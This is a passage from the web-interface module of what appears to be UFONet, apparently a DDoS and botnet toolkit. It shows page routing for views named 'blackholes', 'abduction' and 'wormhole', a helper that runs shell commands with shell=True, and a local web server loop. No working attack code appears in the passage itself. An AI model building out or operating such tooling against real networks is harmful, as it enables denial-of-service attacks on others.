  8366. self.decryptedtext = "" # clean decryptedtext buffer
  8367. if globalnet_ip not in blackhole_ip_list:
  8368. blackhole_ip_list.append(globalnet_ip)
  8369. globalnet_table += "<tr><td align='center'>"+str(globalnet_owner)+"</td><td align='center'>"+str(globalnet_comment)+"</td><td align='center'><font color="+warp_color+">"+str(globalnet_warp)+"</font></td><td align='center'><font color="+warp_color+">"+str(globalnet_ip)+"</font></td></tr>"
  8370. globalnet_table += "</table><br>"
  8371. f.write(globalnet_table)
  8372. f.write(end_mark)
  8373. f.close()
  8374. if page == "/cmd_decrypt_globalnet_update":
  8375. if not os.path.exists('/tmp/out'):
  8376. open('/tmp/out', 'w').close()
  8377. with open('/tmp/out', 'r') as f:
  8378. self.pages["/cmd_decrypt_globalnet_update"] = "<pre>"+f.read()+"<pre>"
  8379. if page == "/blackholes":
  8380. self.pages["/blackholes"] = self.html_blackholes()
  8381. if page == "/requests":
  8382. if pGet=={}:
  8383. self.pages["/requests"] = self.html_requests()
  8384. else:
  8385. self.save_cfg(pGet)
  8386. self.pages["/requests"] = self.html_request_submit()
  8387. if page == "/abduction":
  8388. self.pages["/abduction"] = self.html_abduction()
  8389. if page == "/stats":
  8390. self.pages["/stats"] = self.html_stats()
  8391. if page == "/wormhole":
  8392. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://web.libera.chat/?channel=%23UFONet'>"
  8393. ctype = "text/html"
  8394. if page.find(".js") != -1:
  8395. ctype = "application/javascript"
  8396. elif page.find(".txt") != -1:
  8397. ctype = "text/plain"
  8398. elif page.find(".ico") != -1:
  8399. ctype = "image/x-icon"
  8400. elif page.find(".png") != -1:
  8401. ctype = "image/png"
  8402. elif page.find(".css") != -1:
  8403. ctype = "text/css"
  8404. if page in self.pages:
  8405. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  8406. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  8407. class Command(object):
  8408. def __init__(self, cmd):
  8409. self.cmd = cmd
  8410. self.process = None
  8411. def run(self, timeout):
  8412. def target():
  8413. self.process = subprocess.Popen(self.cmd, shell=True)
  8414. thread = threading.Thread(target=target)
  8415. thread.start()
  8416. thread.join(timeout)
  8417. if thread.is_alive():
  8418. self.process.terminate()
  8419. thread.join()
  8420. if __name__ == "__main__":
  8421. webbrowser.open('http://127.0.0.1:9999', new=1)
  8422. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  8423. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  8424. tcpsock.bind((host, port))
  8425. while True:
  8426. tcpsock.listen(4)
  8427. (clientsock, (ip, c_port)) = tcpsock.accept()
  8428. newthread = ClientThread(ip, c_port, clientsock)
  8429. newthread.start()